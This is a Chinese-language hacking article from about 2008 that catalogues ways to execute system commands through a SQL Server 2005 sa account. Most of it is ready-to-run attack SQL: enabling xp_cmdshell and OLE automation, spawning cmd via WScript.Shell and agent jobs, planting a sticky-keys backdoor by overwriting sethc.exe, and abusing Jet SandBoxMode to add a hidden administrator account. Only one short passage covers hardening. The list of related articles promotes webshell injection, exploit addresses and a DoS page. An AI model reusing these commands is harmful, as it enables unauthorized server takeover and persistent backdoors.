sql2005 sa执行命令方法总结

 更新时间:2008年12月01日 20:20:54   作者:  
测试环境:windows xp pro sp2 + mssql 2005(服务以system权限启动)
一.xp_cmdshell
EXEC master..xp_cmdshell 'ipconfig'
开启xp_cmdshell:
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
二.sp_oacreate
创建wscript.shell对象
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
创建scripting.filesystemobject对象
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
可以用utilman.exe代替sethc.exe达到同样的效果 后门很酷吗,呵呵
创建Shell.Application对象
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','',1;
开启OLE Automation Procedures
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
我们的对策就是把对象做一下手脚
WScript.Shell可以调用系统内核运行DOS基本命令
可以通过修改注册表,将此组件改名,来防止危害。
HKEY_CLASSES_ROOT\WScript.Shell\
及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName
自己以后调用的时候使用这个就可以正常调用此组件了
也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
同wscript.shell理、scripting.filesystemobject、Shell.Application
三.JOB
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务,下面的语句可以开启
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,'x' exec sp_add_job 'x' exec
sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user>c:\test.test"' exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';
四.SandBoxMode(网上常说的沙盒模式)
原理:在access里调用VBS的shell函数,以system权限执行任何命令。但是试用这个函数之前必须把注册表里的一个叫SandBoxmode的开关打开,
注册表:HKEY_LOCAL_MACHINE\SoFtWare\Micris
oft\Jet\4.0\Engine\SandBoxmode.默认值为2,这个人键值为0表示始
终禁用SandBoxmode模式,1表示对于非Acess应用程序试用SandBoxmode模式,2表示对access应用程序使用SandBoxmode模式,3则表示完全开启安全设置。//1或0都可以执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
下面是系统自带的两个mdb文件
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
总结
上述几种方法(仔细看看我都忘记有几种了,哈哈。你可以发散思维,再找出来几种)都是在默认情况下测试的,往往渗透的时候有很多限制条件,我们可以逐一克服,利用组件得到服务器信息,读取、创建文件了等等,我们还是要对权限这个词组有深层次的理解啊。
附注
关于*.exe c:\windows\system32\ 还有c:\windows\system32\dllcache呢
关于cmd.exe还有command.exe呢
关于net.exe还有net1.exe呢
Mdb文件不存在我们可以上传一个啊
执行命令的组件不是只有一个哦

相关文章

  • 最新的无权限挂马方式

    最新的无权限挂马方式

    我写这文章并不是教大家怎么跑去挂马啊,挂马是不对的!不过有的时候真的很想做些让人觉得痛快的事情,因为我就碰到很多的管理员,你跟他说服务器有问题吧!他不信,你改些东西警告他吧,他比你还勤快,你一改他马上覆盖回去,让人真的很郁闷。
    2008-04-04
  • MSSQL注入PUBLIC权限下的xp_dirtree再度利用方法

    MSSQL注入PUBLIC权限下的xp_dirtree再度利用方法

    MSSQL注入PUBLIC权限下的xp_dirtree再度利用方法...
    2007-10-10
  • 让侮辱中国人的法国cnn网站完蛋

    让侮辱中国人的法国cnn网站完蛋

    让侮辱中国人的法国cnn网站完蛋!!!只要你帮助打开一个网页!! 如何DOS攻击CNN网站? ?将这些文字复制,并保存成一个html文件,然后在浏览器中打开,按提示启用脚本,然后,每隔3秒钟将自动连接一次cnn网站(注意,是自动的,只要你不关闭浏览器窗口就可以了,也不会影响你的其它操作),如果全世界中国人联合起来,那么cnn网站绝对崩溃
    2008-04-04
  • MySQL注入中导出字段内容的研究通过注入导出WebShell

    MySQL注入中导出字段内容的研究通过注入导出WebShell

    大家都知道,在MySQL中,无法像MSSQL那样执行script.asp?id=1;insert into table (field) values('angel');--来插入数据,因为MySQL里最多就是用union联合查询。
    2008-05-05
  • 一些通用跳转地址,XXOXX的时候有点用

    一些通用跳转地址,XXOXX的时候有点用

    近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址,但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址,所以费了点时间收集了下,在这里要感谢傲少提供的机器给我去找地址。现在贴到这里,方便大家。
    2008-09-09
  • 不用xp_cmdshell照样执行命令

    不用xp_cmdshell照样执行命令

    删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell 利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了 主要是由于Jet允许调用VBA的shell()函数,该函数允许你执行shell命令
    2008-05-05
  • Dedecms getip()的漏洞利用代码

    Dedecms getip()的漏洞利用代码

    flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:
    2008-05-05
  • 巧用端口映射 不通过网关开放任意内网(LCX.exe)

    巧用端口映射 不通过网关开放任意内网(LCX.exe)

    巧用端口映射 不通过网关开放任意内网(LCX.exe)...
    2007-02-02
  • 变态入侵之有史以来最酷的Windows后门sethc.exe

    变态入侵之有史以来最酷的Windows后门sethc.exe

    变态入侵之有史以来最酷的Windows后门sethc.exe...
    2007-11-11
  • SQL Injection with MySQL 注入分析

    SQL Injection with MySQL 注入分析

    本文作者:angel文章性质:原创 国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发现,其实这些漏洞的文章其实就是一个例子。
    2008-05-05

最新评论